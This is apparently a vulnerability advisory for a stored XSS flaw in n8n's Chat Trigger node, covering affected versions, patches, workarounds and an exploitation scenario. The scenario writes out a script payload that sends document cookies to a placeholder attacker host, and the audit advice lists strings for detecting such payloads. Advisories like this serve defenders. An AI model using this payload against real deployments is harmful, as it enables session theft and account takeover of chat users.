n8n: Stored XSS in Chat Trigger via CSS injection
Any n8n deployment running the Chat Trigger node (LangChain integration) with a public chat URL is actively exposing all visitors to stored XSS — a workflow editor with legitimate credentials can silently backdoor every user who opens the chat. Patch to n8n 1.123.27, 2.13.3, or 2.14.1 immediately. If patching is blocked, restrict workflow edit permissions to fully trusted accounts only and disable the Chat Trigger node via the NODES_EXCLUDE environment variable.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| n8n | npm | < 1.123.27 | 1.123.27 |
Do you use n8n? You're affected.
Severity & Risk
Recommended Action
- 1. PATCH: Upgrade to n8n 1.123.27 (v1 branch), 2.13.3, or 2.14.1 immediately — this is the only full remediation. 2. RESTRICT: If patching is delayed, limit workflow creation and editing roles to explicitly vetted users via n8n RBAC; audit current role assignments now. 3. DISABLE NODE: Set NODES_EXCLUDE=@n8n/n8n-nodes-langchain.chatTrigger in the environment to block Chat Trigger instantiation. 4. AUDIT: Grep existing workflow JSON exports for <script, javascript:, onerror, or base64 payloads in Custom CSS fields. 5. ROTATE: Invalidate all active chat session tokens after patching. 6. MONITOR: Alert on workflow save events that modify Chat Trigger CSS fields post-patch to detect residual or re-injected payloads.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
## Impact An authenticated user with permission to create or modify workflows could inject malicious JavaScript into the Custom CSS field of the Chat Trigger node. Due to a misconfiguration in the `sanitize-html` library, the sanitization could be bypassed, resulting in stored XSS on the public chat page. Any user visiting the chat URL would be affected. ## Patches The issue has been fixed in n8n versions 1.123.27, 2.13.3, and 2.14.1. Users should upgrade to one of these versions or later to remediate the vulnerability. ## Workarounds If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Limit workflow creation and editing permissions to fully trusted users only. - Disable the Chat Trigger node by adding `@n8n/n8n-nodes-langchain.chatTrigger` to the `NODES_EXCLUDE` environment variable. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
Exploitation Scenario
A threat actor with legitimate (or compromised) workflow editor credentials opens an n8n workflow containing a Chat Trigger node and injects <script>fetch('https://c2.attacker.com/x?t='+document.cookie)</script> into the Custom CSS field. The sanitize-html misconfiguration fails to strip the tag. The workflow is saved and published — the payload now lives in the persistent workflow configuration. A customer service agent, external user, or automated integration that opens the public chat URL executes the script automatically, exfiltrating the session token to the attacker. The attacker replays the token to authenticate as that user, accesses the n8n instance or any downstream AI service the chat was proxying (LLM API, RAG knowledge base, CRM integration), and pivots further through the connected workflow toolchain without triggering additional alerts.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N References
- github.com/advisories/GHSA-3c7f-5hgj-h279
- github.com/advisories/GHSA-3c7f-5hgj-h279
- github.com/advisories/GHSA-3c7f-5hgj-h279
- github.com/advisories/GHSA-3c7f-5hgj-h279
- github.com/advisories/GHSA-3c7f-5hgj-h279
- github.com/advisories/GHSA-3c7f-5hgj-h279
- github.com/n8n-io/n8n/security/advisories/GHSA-3c7f-5hgj-h279
- github.com/n8n-io/n8n/security/advisories/GHSA-3c7f-5hgj-h279
- github.com/n8n-io/n8n/security/advisories/GHSA-3c7f-5hgj-h279
- github.com/n8n-io/n8n/security/advisories/GHSA-3c7f-5hgj-h279
- github.com/n8n-io/n8n/security/advisories/GHSA-3c7f-5hgj-h279
- github.com/n8n-io/n8n/security/advisories/GHSA-3c7f-5hgj-h279
AI Threat Alert